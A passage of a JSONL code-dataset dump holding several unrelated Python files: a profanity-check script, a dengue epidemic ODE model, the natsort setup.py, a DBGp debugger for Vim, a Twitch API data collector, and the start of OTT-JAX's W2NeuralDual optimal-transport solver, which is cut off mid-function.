+{"seq_id":"368821480","text":"#este programa abre y lee un texto y verifica si alguna palabra\n#esta en una lista almacenada en la web\n#retorna true si coincide alguna palabra\n\nimport urllib.request\ndef leer_text():\n    frases = open(\"/Users/JL/Documents/python/udacity/frases_plain.txt\")\n    miTexto = frases.read()\n    print (miTexto)\n    frases.close()\n    chequea_palabra(miTexto)\n\ndef chequea_palabra(chequear):\n    # aqui se pone la palabra a chequear\n    listaChequeo = urllib.request.urlopen(\"http://www.wdylike.appspot.com/?\"+urllib.parse.urlencode([('q',chequear)]))\n    salida = listaChequeo.read()\n    print (salida)\n    listaChequeo.close()\n\nleer_text()\n","sub_path":"identify words in a text.py","file_name":"identify words in a text.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"386742553","text":"########################\n#### Dengue model ######\n#### Yu-Han Kao ########\n#### kaoyh@umich.edu ###\n#### 11/04/2016 ########\n########################\n\n#this script includes dengue model (model):\n##human: SEIR\n##vector: ASEI\n#and model simulation function (ode_run)\n\nimport scipy.integrate as spi\nimport scipy.optimize as spopt\nimport numpy as np\nimport math\nimport pylab as pl\nimport copy\n\nclass dengue_model:\n\n\tdef __init__(self):\n\t\tself.description = '.model: SEIR(human)-ASEI(vector) model; .ode_run: model simulation'\n\n\n\t#############################################################\n\t########## Model equations without climate forcing ##########   ###changed\n\t#############################################################\n\n\tdef model(self, ini, time_step, param): #only for one year, population is scaled to 1, mosquito-->initial value \n\t\tY=np.zeros(7)\n\t\tV = ini\n\t\tbeta, repH, x, pi_mua, beta_m, mu_m=param\n\t\talpha=0.14\n\t\teta=0.2\n\t\tgamma=0.1\n\t\t\n\t\t#human SEIR\n\t\tY[0] =  - beta * V[0] * V[6]\n\t\tY[1] = beta * V[0] * V[6] - alpha * V[1]\n\t\tY[2] = alpha * V[1] - eta * V[2]\n\t\t#vector ASEI\n\t\tY[3] = x * (V[4] + V[5] + V[6]) * (1 - V[3]) - pi_mua * V[3]\n\t\tY[4] = V[3] - beta_m * V[4] * V[2] - mu_m * V[4]\n\t\tY[5] = beta_m * V[4] * V[2] - gamma * V[5] - mu_m * V[5]\n\t\tY[6] = gamma * V[5] - mu_m * V[6]\n\n\t\treturn Y\n\n\t#############################################################\n\t########## ODE running function #############################\n\t#############################################################\n\n\tdef ode_run(self, model, ini, time_step, param):\n\t\tRES = spi.odeint(model, ini, time_step, args=(param,))\n\t\treturn RES\n\n#===end===#\n\n","sub_path":"python/dengue_model.py","file_name":"dengue_model.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"70095946","text":"#! /usr/bin/env python\n\nfrom setuptools import setup, find_packages\nfrom os.path import join\nimport sys\n\n# Read the natsort.py file for the module version number\nimport re\nVERSIONFILE = join('natsort', '_version.py')\nversionsearch = re.compile(r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\")\nwith open(VERSIONFILE, \"rt\") as fl:\n    for line in fl:\n        m = versionsearch.search(line)\n        if m:\n            VERSION = m.group(1)\n            break\n    else:\n        s = \"Unable to locate version string in {0}\"\n        raise RuntimeError(s.format(VERSIONFILE))\n\n# Read in the documentation for the long_description\nDESCRIPTION = 'Sort lists naturally'\ntry:\n    with open('README.rst') as fl:\n        LONG_DESCRIPTION = fl.read()\nexcept IOError:\n    LONG_DESCRIPTION = DESCRIPTION\n\n# python2.6 needs the argparse module\nREQUIRES = 'argparse' if sys.version[:3] == '2.6' else ''\n\n# The setup parameters\nsetup(name='natsort',\n      version=VERSION,\n      author='Seth M. Morton',\n      author_email='drtuba78@gmail.com',\n      url='https://github.com/SethMMorton/natsort',\n      license='MIT',\n      install_requires=REQUIRES,\n      packages=find_packages(),\n      entry_points={'console_scripts':['natsort = natsort.__main__:main']},\n      test_suite='natsort.natsort.test',\n      description=DESCRIPTION,\n      long_description=LONG_DESCRIPTION,\n      classifiers=(\n        #'Development Status :: 4 - Beta',\n        'Development Status :: 5 - Production/Stable',\n        'Intended Audience :: Developers',\n        'Intended Audience :: Science/Research',\n        'Intended Audience :: System Administrators',\n        'Intended Audience :: Information Technology',\n        'Operating System :: OS Independent',\n        'License :: OSI Approved :: MIT License',\n        'Natural Language :: English',\n        'Programming Language :: Python :: 2.6',\n        'Programming Language :: Python :: 2.7',\n        'Programming Language :: Python :: 3',\n        'Topic :: Scientific/Engineering :: Information Analysis',\n        'Topic :: Utilities',\n      )\n     )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"108265715","text":"import socket\nimport base64\nimport threading\nfrom xml.dom import minidom\nfrom functools import partial\nimport time\nimport os\nfrom threading import Thread, Lock\nfrom Queue import Queue, Empty\nimport vim\n\nfrom log import debug\nfrom pydeadbeef.stack import StackFrame, Stack\nfrom ex import DebuggerError\nfrom client import DebugEngine\nimport config\n\n\nclass Debugger(Thread):\n    def __init__(self, host='', port=9000):\n        super(Debugger, self).__init__(name=\"Debugger\")\n\n        self.host = host\n        self.port = port\n        self.listening = False\n        self._callbacks = {}\n\n        debug(\"Initialising Debugger...\")\n        self.status_q = Queue()\n        debug(\"Initialising socket...\")\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n        self.client = None\n        self.client_q = Queue()\n\n        self.engine = None\n\n        self.running = False\n\n        self.lock = Lock()\n\n        self._txn_ids = self._txn_id_genetaor()\n\n        self.status_q = Queue()\n        self.stream_q = Queue()\n\n    def close(self):\n        debug(\"Stopping Debugger...\")\n        if self.client:\n            debug(\"Stopping client...\")\n            if self.client.sock:\n                self.client.sock.shutdown(socket.SHUT_RDWR)\n            self.client.join()\n\n        if self.engine:\n            debug(\"Stopping DebugEngine...\")\n            self.engine.kill()\n\n        if self.running:\n            debug(\"Closing server socket...\")\n            self.running = False\n            self.sock.close()\n\n        if threading.current_thread().name != self.name:\n            self.join()\n\n    def _listen(self):\n        debug(\"Waiting for connections...\")\n        conn, addr = self.sock.accept()\n        debug(\"Got connections from {}\", addr)\n\n        self.client = DebuggerClient(conn, self.client_q)\n\n    def run(self):\n        with self:\n            debug(\"Binding socket on {}:{}...\", self.host, self.port)\n            try:\n                self.sock.bind((self.host, self.port))\n            except socket.error as ex:\n                debug(\"Bind failed. {}\", ex)\n                raise DebuggerError(\"Bind failed on {}:{}\".format(self.host,\n                                                                  self.port))\n            debug(\"Socket bound.\")\n\n            debug(\"Starting to listen on socket...\")\n            self.sock.listen(1)\n\n            listen_thread = Thread(target=self._listen, name=\"Listener\")\n            listen_thread.start()\n\n            debug_engine = config.get('debug_engine', 'pydbgp.py')\n            debug_cmd = None\n            init_type = config.get('init_type')\n            if init_type == 'current':\n                debug_cmd = os.path.abspath(vim.current.buffer.name)\n\n            debug(\"Forking DebugEngine...\")\n            self.engine = DebugEngine(debug_engine, debug_cmd)\n            self.engine.start()\n            # TODO: check debug engine status and exit gracefully\n\n            debug(\"Waiting for mutual connection...\")\n            listen_thread.join()\n            debug(\"Mutual connection acquired, starting client...\")\n            self.client.start()\n\n            init_packet = self.client_q.get()\n            # TODO: make appropriate checks on init_packet\n\n            self.running = True\n\n        while self.running:\n            self.handle_response()\n\n    def handle_response(self):\n        try:\n            response = self.client_q.get(timeout=1)\n        except Empty:\n            return\n\n        dom = minidom.parseString(response)\n\n        responses = dom.getElementsByTagName(\"response\")\n        streams = dom.getElementsByTagName(\"stream\")\n\n        if responses:\n            element = responses[0]\n            txn_id = int(element.attributes['transaction_id'].value)\n            debug(\"Handling response for txn_id {}\", txn_id)\n            callback = self._callbacks.get(txn_id)\n\n            if callback:\n                debug(\"Firing callback for txn_id {}\", txn_id)\n                callback(element)\n        elif streams:\n            stream = streams[0]\n            stream_type = stream.attributes['type'].value\n            encoded = stream.firstChild.nodeValue\n            plain = base64.decodestring(encoded)\n            debug(\"Received data on {}: '{}'\", stream_type, plain)\n\n            self.stream_q.put(plain)\n\n    def configure_streams(self):\n        debug(\"Configuring streams...\")\n        element = self.send_command_and_wait(\"stdout\", \"\", \"-c\", \"1\")\n        debug(\"Stdout redirect configured ->\\n{}\", element)\n        element = self.send_command_and_wait(\"stderr\", \"\", \"-c\", \"1\")\n        debug(\"Stderr redirect configured ->\\n{}\", element)\n\n    def stop(self):\n        self.send_command_and_wait(\"stop\", \"\")\n\n    def status(self):\n        element = self.send_command_and_wait(\"status\", \"\")\n\n        return element.attributes['status'].value\n\n    def send_command(self, callback, name, data, *args):\n        data_encoded = (\" -- \" + base64.encodestring(data)) if data else ''\n\n        all_args = ' '.join(args)\n        txn_id = self._next_txn_id()\n        txn_arg = \"-i {} \".format(txn_id)\n\n        all_args = txn_arg + ' ' + all_args if all_args else txn_arg\n\n        command = \"{name} {args}{data}\\0\".format(name=name,\n                                                    args=all_args,\n                                                    data=data_encoded)\n        debug(\"sending command ->\\n{}\", command)\n\n        if callback:\n            self._callbacks[txn_id] = callback\n\n        self.client.send(command)\n\n    def waiting_callback(self, container, element):\n        container.append(element)\n\n    def send_command_and_wait(self, name, data, *args):\n        debug(\"Sending command and waiting...\")\n        container = []\n        callback = partial(self.waiting_callback, container)\n\n        self.send_command(callback, name, data, *args)\n\n        debug(\"Waiting for response...\")\n        attempts = 60\n        while not container:\n            time.sleep(0.05)\n            attempts -= 1\n            if not attempts:\n                raise DebuggerError(\"Wait for response timed out\")\n\n        debug(\"Got response.\")\n        return container[0]\n\n    def status_update_callback(self, element):\n        with self:\n            self.status_q.put(element.attributes['status'].value)\n\n    def update_status(self):\n        self.status_q.put(self.status())\n\n    def cont(self):\n        with self:\n            self.send_command(self.status_update_callback, \"run\", \"\")\n\n    def step_over(self):\n        with self:\n            self.send_command(self.status_update_callback, \"step_over\", \"\")\n\n    def step_into(self):\n        with self:\n            self.send_command(self.status_update_callback, \"step_into\", \"\")\n\n    def step_out(self):\n        with self:\n            self.send_command(self.status_update_callback, \"step_out\", \"\")\n\n    def get_stack(self):\n        filename_prefix = \"file:\"\n        elem = self.send_command_and_wait(\"stack_get\", \"\")\n\n        # TODO: check children\n        call_stack = Stack()\n        stack = []\n        for child_node in elem.childNodes:\n            level = child_node.attributes['level'].value\n            filename = child_node.attributes['filename'].value\n            if filename.startswith(filename_prefix):\n                filename = filename[len(filename_prefix):]\n            line = int(child_node.attributes['lineno'].value)\n            stack_frame = StackFrame(level, filename, line)\n\n            stack.append(stack_frame)\n\n        for sf in reversed(stack):\n            call_stack.push(sf)\n\n        return call_stack\n\n    def add_breakpoint(self, breakpoint):\n        response = self.send_command_and_wait(\"breakpoint_set\",\n                                              breakpoint.condition,\n                                              breakpoint.to_args())\n\n        breakpoint._id = response.attributes['id'].value\n\n    def remove_breakpoint(self, breakpoint):\n        self.send_command_and_wait(\"breakpoint_remove\",\n                                   \"\",\n                                   \"-d {bid}\".format(bid=breakpoint._id))\n\n    def __enter__(self):\n        self.lock.acquire()\n\n        return self\n\n    def __exit__(self, exc_type, exc_value, exc_tb):\n        self.lock.release()\n\n        if exc_type:\n            debug(\"Exception captured, exiting: ->\\n{}\", exc_value)\n            self.close()\n\n    def _txn_id_genetaor(self):\n        start = 0\n        while True:\n            new = yield start\n            start = new if new else start + 1\n\n    def _next_txn_id(self):\n        return next(self._txn_ids)\n\n\nclass DebuggerClient(Thread):\n    def __init__(self, sock, q):\n        super(DebuggerClient, self).__init__(name=\"DebuggerClient\")\n\n        debug(\"Initialising DebuggerClient...\")\n        self.sock = sock\n        self.q = q\n\n    def run(self):\n        debug(\"Started DebuggerClient.\")\n        while True:\n            try:\n                debug(\"DebuggerClient: waiting for response\")\n                response = self.read_response()\n                debug(\"DebuggerClient: recieved response ->\\n---\\n{}\\n---\",\n                      response)\n                self.q.put(response)\n            except DebuggerError:\n                break\n\n        debug(\"Closing DebuggerClient...\")\n        self.sock.close()\n        self.sock = None\n        debug(\"DebuggerClient closed.\")\n\n    def send(self, msg):\n        totalsent = 0\n        while totalsent < len(msg):\n            sent = self.sock.send(msg[totalsent:])\n            if sent == 0:\n                debug(\"Socket connection closed.\")\n\n            totalsent += sent\n\n    def receive(self, length):\n        chunks = []\n        bytes_recd = 0\n        while bytes_recd < length:\n            chunk = self.sock.recv(min(length - bytes_recd, 2048))\n            if chunk == '':\n                debug(\"Socket connection closed.\")\n                raise DebuggerError(\"Connection closed\")\n\n            chunks.append(chunk)\n            bytes_recd += len(chunk)\n        msg = ''.join(chunks)\n\n        return msg\n\n    def read_number(self):\n        number = ''\n        c = ''\n        while c != '\\0':\n            if c.isdigit():\n                number += c\n            c = self.receive(1)\n\n        return int(number)\n\n    def read_null(self):\n        c = None\n        while c != '\\0':\n            c = self.receive(1)\n\n    def read_body(self, length):\n        return self.receive(length + 1)[:-1]\n\n    def read_response(self):\n        length = self.read_number()\n        body = self.read_body(length)\n\n        return body\n","sub_path":"pydeadbeef/debugger.py","file_name":"debugger.py","file_ext":"py","file_size_in_byte":10551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"567266983","text":"# lets test to see if we actually get the data!!!\nimport twitch_integration\nimport numpy as np\nimport pandas as pd\nimport csv\nroot_path = r\"C:\\Users\\vkpat\\Desktop\\Vatsal\\SEMESTER3\\Jobs\\Twitch Project\\2016-01\\2016_jan_\"\nfull_data = pd.read_csv(root_path+str(0)+\".csv\")\n# for i in range(1,1371,1):\nfor i in range(1,2,1):\n    print(root_path+str(i)+\".csv\")\n    data = pd.read_csv(root_path+str(i)+\".csv\")\n    full_data = pd.concat([full_data,data])\nprint(full_data.shape)\nuser_details = []\nvideo_details = []\nfor user_login in full_data.Channel: \n    print(user_login)\n    # user_login = \"ninja\"\n    try:\n        print(\"Users Query\")\n        # ...............USER QUERY..............................\n        query = twitch_integration.get_user_query(user_login)\n        response = twitch_integration.get_response(query)\n        #print for debugging\n        twitch_integration.print_response(response) \n        response = response.json()\n        user_details.append(response[\"data\"][0])\n        data = response[\"data\"][0][\"id\"]\n        print(data)\n\n        # ......................................................\n\n        # print(\"Users Streams Query\")\n        # # ...............USERS STREAMS QUERY.........................\n        # query = twitch_integration.get_user_streams_query(user_login)\n        # response = twitch_integration.get_response(query)\n        # #print for debugging\n        # twitch_integration.print_response(response) \n        # # ......................................................\n\n        print(\"USer video query\")\n        # ......................................................\n        query = twitch_integration.get_user_videos_query(data)\n        response = twitch_integration.get_response(query)\n        response = response.json()\n        video_details = video_details + response[\"data\"]\n        # print(video_details)\n        #print for debugging\n        twitch_integration.print_response(response) \n        # ......................................................\n    except:\n        print(\"An exception occurred\")\n# print(user_details)\nprint(video_details)\ncsv_file = \"Users.csv\"\ncsv_columns = ['id','login','display_name','type','broadcaster_type', 'description', 'profile_image_url','offline_image_url','view_count','created_at']\ntry:\n    with open(csv_file, 'w',encoding=\"utf-8\",errors=\"surrogateescape\") as csvfile:\n        writer = csv.DictWriter(csvfile, fieldnames=csv_columns)\n        writer.writeheader()\n        for row in user_details:\n            writer.writerow(row)\nexcept IOError:\n    pass\ncsv_file = \"Videos.csv\"\nvideo_csv_columns = ['id','user_id','user_login','user_name','title', 'description', 'created_at','published_at','url','thumbnail_url', 'viewable', 'view_count', 'language', 'type', 'duration']\ntry:\n    with open(csv_file, 'w',encoding=\"utf-8\",errors=\"surrogateescape\") as csvfile:\n        writer = csv.DictWriter(csvfile, fieldnames=video_csv_columns)\n        writer.writeheader()\n        for row in video_details:\n            writer.writerow(row)\nexcept IOError:\n    pass\n","sub_path":"Twitch_analytics-main/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"141424589","text":"# Copyright OTT-JAX\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#   http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport warnings\nfrom typing import (\n    Callable,\n    Dict,\n    Iterator,\n    List,\n    Literal,\n    Optional,\n    Tuple,\n    Union,\n)\n\nimport jax\nimport jax.numpy as jnp\nimport optax\nfrom flax import core\n\nfrom ott import utils\nfrom ott.geometry import costs\nfrom ott.problems.linear import potentials\nfrom ott.solvers.nn import conjugate_solvers, models\n\n__all__ = [\"W2NeuralDual\"]\n\nTrain_t = Dict[Literal[\"train_logs\", \"valid_logs\"], Dict[str, List[float]]]\nCallback_t = Callable[[int, potentials.DualPotentials], None]\nConj_t = Optional[conjugate_solvers.FenchelConjugateSolver]\n\n\nclass W2NeuralDual:\n  r\"\"\"Solver for the Wasserstein-2 Kantorovich dual between Euclidean spaces.\n\n  Learn the Wasserstein-2 optimal transport between two measures\n  :math:`\\alpha` and :math:`\\beta` in :math:`n`-dimensional Euclidean space,\n  denoted source and target, respectively. This is achieved by parameterizing\n  a Kantorovich potential :math:`f_\\theta: \\mathbb{R}^n\\rightarrow\\mathbb{R}`\n  associated with the :math:`\\alpha` measure with an\n  :class:`~ott.solvers.nn.models.ICNN`, :class:`~ott.solvers.nn.models.MLP`,\n  or other :class:`~ott.solvers.nn.models.ModelBase`, where :math:`\\nabla f`\n  transports source to target cells. This potential is learned by optimizing\n  the dual form associated with the negative inner product cost\n\n  .. math::\n\n    \\text{argsup}_{\\theta}\\; -\\mathbb{E}_{x\\sim\\alpha}[f_\\theta(x)] -\n      \\mathbb{E}_{y\\sim\\beta}[f^\\star_\\theta(y)],\n\n  where :math:`f^\\star(y) := -\\inf_{x\\in\\mathbb{R}^n} f(x)-\\langle x, y\\rangle`\n  is the convex conjugate.\n  :math:`\\nabla f^\\star` transports from the target\n  to source cells and provides the inverse optimal\n  transport map from :math:`\\beta` to :math:`\\alpha`.\n  This solver estimates the conjugate :math:`f^\\star`\n  with a neural approximation :math:`g` that is fine-tuned\n  with :class:`~ott.solvers.nn.conjugate_solvers.FenchelConjugateSolver`,\n  which is a combination further described in :cite:`amos:23`.\n\n  The :class:`~ott.solvers.nn.models.ModelBase` potentials for\n  ``neural_f`` and ``neural_g`` can\n\n  1. both provide the values of the potentials :math:`f` and :math:`g`, or\n  2. one of them can provide the gradient mapping e.g., :math:`\\nabla f`\n     or :math:`\\nabla g` where the potential's value can be obtained\n     via the Fenchel conjugate as discussed in :cite:`amos:23`.\n\n  The potential's value or gradient mapping is specified via\n  :attr:`~ott.solvers.nn.models.ModelBase.is_potential`.\n\n  Args:\n    dim_data: input dimensionality of data required for network init\n    neural_f: network architecture for potential :math:`f`.\n    neural_g: network architecture for the conjugate potential\n      :math:`g\\approx f^\\star`\n    optimizer_f: optimizer function for potential :math:`f`\n    optimizer_g: optimizer function for the conjugate potential :math:`g`\n    num_train_iters: number of total training iterations\n    num_inner_iters: number of training iterations of :math:`g` per iteration\n      of :math:`f`\n    back_and_forth: alternate between updating the forward and backward\n      directions. Inspired from :cite:`jacobs:20`\n    valid_freq: frequency with which model is validated\n    log_freq: frequency with training and validation are logged\n    logging: option to return logs\n    rng: random key used for seeding for network initializations\n    pos_weights: option to train networks with positive weights or regularizer\n    beta: regularization parameter when not training with positive weights\n    conjugate_solver: numerical solver for the Fenchel conjugate.\n    amortization_loss: amortization loss for the conjugate\n      :math:`g\\approx f^\\star`. Options are `'objective'` :cite:`makkuva:20` or\n      `'regression'` :cite:`amos:23`.\n    parallel_updates: Update :math:`f` and :math:`g` at the same time\n  \"\"\"\n\n  def __init__(\n      self,\n      dim_data: int,\n      neural_f: Optional[models.ModelBase] = None,\n      neural_g: Optional[models.ModelBase] = None,\n      optimizer_f: Optional[optax.OptState] = None,\n      optimizer_g: Optional[optax.OptState] = None,\n      num_train_iters: int = 20000,\n      num_inner_iters: int = 1,\n      back_and_forth: Optional[bool] = None,\n      valid_freq: int = 1000,\n      log_freq: int = 1000,\n      logging: bool = False,\n      rng: Optional[jax.random.PRNGKeyArray] = None,\n      pos_weights: bool = True,\n      beta: float = 1.0,\n      conjugate_solver: Conj_t = conjugate_solvers.DEFAULT_CONJUGATE_SOLVER,\n      amortization_loss: Literal[\"objective\", \"regression\"] = \"regression\",\n      parallel_updates: bool = True,\n  ):\n    self.num_train_iters = num_train_iters\n    self.num_inner_iters = num_inner_iters\n    self.back_and_forth = back_and_forth\n    self.valid_freq = valid_freq\n    self.log_freq = log_freq\n    self.logging = logging\n    self.pos_weights = pos_weights\n    self.beta = beta\n    self.parallel_updates = parallel_updates\n    self.conjugate_solver = conjugate_solver\n    self.amortization_loss = amortization_loss\n\n    # set default optimizers\n    if optimizer_f is None:\n      optimizer_f = optax.adam(learning_rate=0.0001, b1=0.5, b2=0.9, eps=1e-8)\n    if optimizer_g is None:\n      optimizer_g = optax.adam(learning_rate=0.0001, b1=0.5, b2=0.9, eps=1e-8)\n\n    # set default neural architectures\n    if neural_f is None:\n      neural_f = models.ICNN(dim_data=dim_data, dim_hidden=[64, 64, 64, 64])\n    if neural_g is None:\n      neural_g = models.ICNN(dim_data=dim_data, dim_hidden=[64, 64, 64, 64])\n    self.neural_f = neural_f\n    self.neural_g = neural_g\n\n    # set optimizer and networks\n    self.setup(\n        utils.default_prng_key(rng),\n        neural_f,\n        neural_g,\n        dim_data,\n        optimizer_f,\n        optimizer_g,\n    )\n\n  def setup(\n      self,\n      rng: jax.random.PRNGKeyArray,\n      neural_f: models.ModelBase,\n      neural_g: models.ModelBase,\n      dim_data: int,\n      optimizer_f: optax.OptState,\n      optimizer_g: optax.OptState,\n  ) -> None:\n    \"\"\"Setup all components required to train the network.\"\"\"\n    # split random number generator\n    rng, rng_f, rng_g = jax.random.split(rng, 3)\n\n    # check setting of network architectures\n    warn_str = f\"Setting of ICNN and the positive weights setting of the \" \\\n        f\"`W2NeuralDual` are not consistent. Proceeding with \" \\\n        f\"the `W2NeuralDual` setting, with positive weights \" \\\n        f\"being {self.pos_weights}.\"\n    if isinstance(\n        neural_f, models.ICNN\n    ) and neural_f.pos_weights is not self.pos_weights:\n      warnings.warn(warn_str, stacklevel=2)\n      neural_f.pos_weights = self.pos_weights\n\n    if isinstance(\n        neural_g, models.ICNN\n    ) and neural_g.pos_weights is not self.pos_weights:\n      warnings.warn(warn_str, stacklevel=2)\n      neural_g.pos_weights = self.pos_weights\n\n    self.state_f = neural_f.create_train_state(\n        rng_f,\n        optimizer_f,\n        dim_data,\n    )\n    self.state_g = neural_g.create_train_state(\n        rng_g,\n        optimizer_g,\n        dim_data,\n    )\n\n    # default to using back_and_forth with the non-convex models\n    if self.back_and_forth is None:\n      self.back_and_forth = isinstance(neural_f, models.MLP)\n\n    if self.num_inner_iters == 1 and self.parallel_updates:\n      self.train_step_parallel = self.get_step_fn(\n          train=True, to_optimize=\"both\"\n      )\n      self.valid_step_parallel = self.get_step_fn(\n          train=False, to_optimize=\"both\"\n      )\n      self.train_fn = self.train_neuraldual_parallel\n    else:\n      if self.parallel_updates:\n        warnings.warn(\n            \"parallel_updates set to True but disabling it \"\n            \"because num_inner_iters>1\",\n            stacklevel=2\n        )\n      if self.back_and_forth:\n        raise NotImplementedError(\n            \"back_and_forth not implemented without parallel updates\"\n        )\n      self.train_step_f = self.get_step_fn(train=True, to_optimize=\"f\")\n      self.valid_step_f = self.get_step_fn(train=False, to_optimize=\"f\")\n      self.train_step_g = self.get_step_fn(train=True, to_optimize=\"g\")\n      self.valid_step_g = self.get_step_fn(train=False, to_optimize=\"g\")\n      self.train_fn = self.train_neuraldual_alternating\n\n  def __call__(  # noqa: D102\n      self,\n      trainloader_source: Iterator[jnp.ndarray],\n      trainloader_target: Iterator[jnp.ndarray],\n      validloader_source: Iterator[jnp.ndarray],\n      validloader_target: Iterator[jnp.ndarray],\n      callback: Optional[Callback_t] = None,\n  ) -> Union[potentials.DualPotentials, Tuple[potentials.DualPotentials,\n                                              Train_t]]:\n    logs = self.train_fn(\n        trainloader_source,\n        trainloader_target,\n        validloader_source,\n        validloader_target,\n        callback=callback,\n    )\n    res = self.to_dual_potentials()\n\n    return (res, logs) if self.logging else res\n\n  def train_neuraldual_parallel(\n      self,\n      trainloader_source: Iterator[jnp.ndarray],\n      trainloader_target: Iterator[jnp.ndarray],\n      validloader_source: Iterator[jnp.ndarray],\n      validloader_target: Iterator[jnp.ndarray],\n      callback: Optional[Callback_t] = None,\n  ) -> Train_t:\n    \"\"\"Training and validation with parallel updates.\"\"\"\n    try:\n      from tqdm.auto import tqdm\n    except ImportError:\n      tqdm = lambda _: _\n    # define dict to contain source and target batch\n    train_batch, valid_batch = {}, {}\n\n    # set logging dictionaries\n    train_logs = {\"loss_f\": [], \"loss_g\": [], \"w_dist\": [], \"directions\": []}\n    valid_logs = {\"loss_f\": [], \"loss_g\": [], \"w_dist\": []}\n\n    for step in tqdm(range(self.num_train_iters)):\n      update_forward = not self.back_and_forth or step % 2 == 0\n      if update_forward:\n        train_batch[\"source\"] = jnp.asarray(next(trainloader_source))\n        train_batch[\"target\"] = jnp.asarray(next(trainloader_target))\n        (self.state_f, self.state_g, loss, loss_f, loss_g,\n         w_dist) = self.train_step_parallel(\n             self.state_f,\n             self.state_g,\n             train_batch,\n         )\n      else:\n        train_batch[\"target\"] = jnp.asarray(next(trainloader_source))\n        train_batch[\"source\"] = jnp.asarray(next(trainloader_target))\n        (self.state_g, self.state_f, loss, loss_f, loss_g,\n         w_dist) = self.train_step_parallel(\n             self.state_g,\n             self.state_f,\n             train_batch,\n         )\n\n      if self.logging and step % self.log_freq == 0:\n        self._update_logs(train_logs, loss_f, loss_g, w_dist)\n        train_logs[\"directions\"].append(\n            \"forward\" if update_forward else \"backward\"\n        )\n\n      if callback is not None:\n        _ = callback(step, self.to_dual_potentials())\n\n      if not self.pos_weights:\n        # Only clip the weights of the f network\n        self.state_f = self.state_f.replace(\n            params=self._clip_weights_icnn(self.state_f.params)\n        )\n\n      # report the loss on an validation dataset periodically\n      if step != 0 and step % self.valid_freq == 0:\n        # get batch\n        valid_batch[\"source\"] = jnp.asarray(next(validloader_source))\n        valid_batch[\"target\"] = jnp.asarray(next(validloader_target))\n\n        valid_loss_f, valid_loss_g, valid_w_dist = self.valid_step_parallel(\n            self.state_f,\n            self.state_g,\n            valid_batch,\n        )\n\n        if self.logging:\n          self._update_logs(\n              valid_logs, valid_loss_f, valid_loss_g, valid_w_dist\n          )\n\n    return {\"train_logs\": train_logs, \"valid_logs\": valid_logs}\n\n  def train_neuraldual_alternating(\n      self,\n      trainloader_source: Iterator[jnp.ndarray],\n      trainloader_target: Iterator[jnp.ndarray],\n      validloader_source: Iterator[jnp.ndarray],\n      validloader_target: Iterator[jnp.ndarray],\n      callback: Optional[Callback_t] = None,\n  ) -> Train_t:\n    \"\"\"Training and validation with alternating updates.\"\"\"\n    try:\n      from tqdm.auto import tqdm\n    except ImportError:\n      tqdm = lambda _: _\n    # define dict to contain source and target batch\n    batch_g, batch_f, valid_batch = {}, {}, {}\n\n    # set logging dictionaries\n    train_logs = {\"loss_f\": [], \"loss_g\": [], \"w_dist\": []}\n    valid_logs = {\"loss_f\": [], \"loss_g\": [], \"w_dist\": []}\n\n    for step in tqdm(range(self.num_train_iters)):\n      # execute training steps\n      for _ in range(self.num_inner_iters):\n        # get train batch for potential g\n        batch_g[\"source\"] = jnp.asarray(next(trainloader_source))\n        batch_g[\"target\"] = jnp.asarray(next(trainloader_target))\n\n        self.state_g, loss_g, _ = self.train_step_g(\n            self.state_f, self.state_g, batch_g\n        )\n\n      # get train batch for potential f\n      batch_f[\"source\"] = jnp.asarray(next(trainloader_source))\n      batch_f[\"target\"] = jnp.asarray(next(trainloader_target))\n\n      self.state_f, loss_f, w_dist = self.train_step_f(\n          self.state_f, self.state_g, batch_f\n      )\n      if not self.pos_weights:\n        # Only clip the weights of the f network\n        self.state_f = self.state_f.replace(\n            params=self._clip_weights_icnn(self.state_f.params)\n        )\n\n      if callback is not None:\n        callback(step, self.to_dual_potentials())\n\n      if self.logging and step % self.log_freq == 0:\n        self._update_logs(train_logs, loss_f, loss_g, w_dist)\n\n      # report the loss on validation dataset periodically\n      if step != 0 and step % self.valid_freq == 0:\n        # get batch\n        valid_batch[\"source\"] = jnp.asarray(next(validloader_source))\n        valid_batch[\"target\"] = jnp.asarray(next(validloader_target))\n\n        valid_loss_f, _ = self.valid_step_f(\n            self.state_f, self.state_g, valid_batch\n        )\n        valid_loss_g, valid_w_dist = self.valid_step_g(\n            self.state_f, self.state_g, valid_batch\n        )\n\n        if self.logging:\n          self._update_logs(\n              valid_logs, valid_loss_f, valid_loss_g, valid_w_dist\n          )\n\n    return {\"train_logs\": train_logs, \"valid_logs\": valid_logs}\n\n  def get_step_fn(\n      self, train: bool, to_optimize: Literal[\"f\", \"g\", \"parallel\", \"both\"]\n  ):\n    \"\"\"Create a parallel training and evaluation function.\"\"\"\n\n    def loss_fn(params_f, params_g, f_value, g_value, g_gradient, batch):\n      \"\"\"Loss function for both potentials.\"\"\"\n      # get two distributions\n      source, target = batch[\"source\"], batch[\"target\"]\n\n      init_source_hat = g_gradient(params_g)(target)\n\n      def g_value_partial(y: jnp.ndarray) -> jnp.ndarray:\n        \"\"\"Lazy way of evaluating g if f's computation needs it.\"\"\"\n        return g_value(params_g)(y)\n\n      f_value_partial = f_value(params_f, g_value_partial)\n      if self.conjugate_solver is not None:\n        finetune_source_hat = lambda y, x_init: self.conjugate_solver.solve(\n            f_value_partial, y, 